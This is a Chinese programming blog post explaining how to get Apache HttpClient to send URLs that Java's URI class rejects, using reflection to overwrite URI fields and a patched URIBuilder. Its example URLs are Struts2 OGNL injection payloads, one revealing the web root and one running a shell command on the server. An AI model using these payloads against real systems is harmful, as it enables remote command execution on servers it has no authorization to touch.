zoukankan      html  css  js  c++  java
  • 解决httpclient抛出URISyntaxException异常

    这两天在使用httpclient发送http请求的时候,发现url中一旦包含某些特殊字符就会报错。抛出URISyntaxException异常,比如struts漏洞的利用url:(大括号就不行)

    redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23webroot%3d%23req.getSession().getServletContext().getRealPath('/'),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23resp.print('At%201406220173%20Nessus%20found%20the%20path%20is%20'),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}

    看了下jdk的源码知道是URI类parser中checkChars方法对url进行校验时抛出的,而且URI是jdk自带的final类型的类,无法继承也不方便修改。后来经过测试有以下两种方式可以解决这个问题。

    第一种方法(这个不是重点):

    使用URL类的openConnection()方法。

    public class Test {
    public static void main(String[] args) throws Exception {
    String urlStr = "http://www.xxx.com/?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%22pwd%22}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}";

    URL url = new URL(urlStr);
    URLConnection urlConn = url.openConnection();
    BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream(), "UTF-8"));

    StringBuilder sb = new StringBuilder();
    String str;
    while ((str = br.readLine()) != null)
    {
    sb.append(str));
    }
    br.close();
    System.out.println(sb.toString().trim());

    }

    }

    第二种方法(这个才是重点):

    因为我必须要用httpclient,而httpclient都是用的URI类,所以第一种方法并不可行。第二种方法是先用正常的url创建URI的对象,然后通过反射,强行修改此对象的地址信息。

    public static HttpRequest createRequestMethod(String url, String host, String strRequest, Boolean isAcceptCookie,
    Boolean isAllowRedirect) throws UnsupportedEncodingException {

    int i = strRequest.indexOf(" ");
    String method = strRequest.substring(0, i);

    if (method == null || method.trim().length() < 3) {
    System.out.println("无效的HTTP方法");
    }

    HttpRequest httpRequest;
    if (method.equalsIgnoreCase("GET")) {
    httpRequest = new HttpGet();
    } else if (method.equalsIgnoreCase("POST")) {
    httpRequest = new HttpPost();
    } else if (method.equalsIgnoreCase("DELETE")) {
    httpRequest = new HttpDelete();
    } else if (method.equalsIgnoreCase("PUT")) {
    httpRequest = new HttpPut();
    } else if (method.equalsIgnoreCase("HEAD")) {
    httpRequest = new HttpHead();
    } else if (method.equalsIgnoreCase("OPTIONS")) {
    httpRequest = new HttpOptions();
    } else if (method.equalsIgnoreCase("TRACE")) {
    httpRequest = new HttpTrace();
    } else {
    // httpRequest = new BasicHttpRequest(method);
    System.out.println("无效的HTTP方法");
    return null;
    }

    // 判断是否为带entity的方法
    String strHeader;
    String strBody;

    if (httpRequest instanceof HttpEntityEnclosingRequestBase) {
    int j = strRequest.indexOf(" ");
    strHeader = strRequest.substring(0, j);
    strBody = strRequest.substring(j + 2);
    StringEntity ent = new StringEntity(strBody);
    ((HttpEntityEnclosingRequestBase) httpRequest).setEntity(ent);
    } else {
    strHeader = strRequest;
    }

    String[] split = strHeader.split(" ");
    String name = null;
    String value = null;

    // 获取第一行中的 http方法、uri、http版本
    String firstLine[] = split[0].split(" ");
    HttpRequestBase hrb = (HttpRequestBase) httpRequest;

    // hrb.setProtocolVersion(version);
    // httpRequest.

    RequestConfig requestConfig;
    if (isAcceptCookie) {
    requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
    .setSocketTimeout(3000).setCookieSpec(CookieSpecs.DEFAULT).setRedirectsEnabled(isAllowRedirect)
    .build();

    } else {
    requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
    .setSocketTimeout(3000).setCookieSpec(CookieSpecs.IGNORE_COOKIES)
    .setRedirectsEnabled(isAllowRedirect).build();

    }

    hrb.setConfig(requestConfig);

    for (int ii = 1; ii < split.length; ii++) {
    if (split[ii].equals("")) {
    continue;
    }
    int k;
    if ((k = split[ii].indexOf(":")) < 0) {
    // return null;
    continue;
    }
    name = split[ii].substring(0, k).trim();
    if (name.equals("Content-Length")) {
    continue;
    }
    value = split[ii].substring(k + 1).trim();
    httpRequest.addHeader(name, value);
    }

    // System.out.println("httputil " + httpRequest);

    // 设置httprequest的uri
    try {
    String urii = firstLine[1];
    URI uri = null;
    try {
    uri = URI.create(url + urii);
    hrb.setURI(uri);
    } catch (Exception e) {
    // 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
    // e.printStackTrace();
    uri = URI.create(url);    //创建正常的URI
    Class<URI> clazz = URI.class;
    Field path = clazz.getDeclaredField("path");
    Field schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
    Field string = clazz.getDeclaredField("string");

    path.setAccessible(true);
    schemeSpecificPart.setAccessible(true);
    string.setAccessible(true);

    path.set(uri, urii);
    schemeSpecificPart.set(uri, "//" + host + urii);
    string.set(uri, url + urii);

    hrb.setURI(uri);
    System.out.println(hrb.getURI());
    }
    } catch (Exception e) {
    e.printStackTrace();
    }
    return hrb;

    }

    另外还需要修改org.apache.http.client.utils.URIBuilder类的build方法

    public URI build() throws URISyntaxException {
    // return new URI(buildString());

    String str = buildString();
    URI u = null;
    try{
    u = new URI(str);
    }catch(Exception e){
    // 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
    // e.printStackTrace();
    u = URI.create("/");
    Class<URI> clazz = URI.class;
    Field path = null;
    Field schemeSpecificPart = null;
    Field string = null;
    try {
    path = clazz.getDeclaredField("path");
    schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
    string = clazz.getDeclaredField("string");

    } catch (NoSuchFieldException e2) {
    // TODO Auto-generated catch block
    e2.printStackTrace();
    } catch (SecurityException e2) {
    // TODO Auto-generated catch block
    e2.printStackTrace();
    }

    path.setAccessible(true);
    schemeSpecificPart.setAccessible(true);
    string.setAccessible(true);

    try {
    path.set(u, str);
    schemeSpecificPart.set(u, str);
    string.set(u, str);
    } catch (IllegalArgumentException | IllegalAccessException e1) {
    // TODO Auto-generated catch block
    e1.printStackTrace();
    }

    }
    return u;
    }

  • 相关阅读:
    ==与is区别
    词典操作
    前端工具---取色截图测量
    css零碎合集
    基于bootstrap的在线布局工具
    js常用功能工具库--Underscore.js
    前端资源荟萃
    在线绘图工具---processon
    表单form浅谈
    前端工具----iconfont
  • 原文地址:https://www.cnblogs.com/fsqsec/p/5516738.html
Copyright © 2011-2022 走看看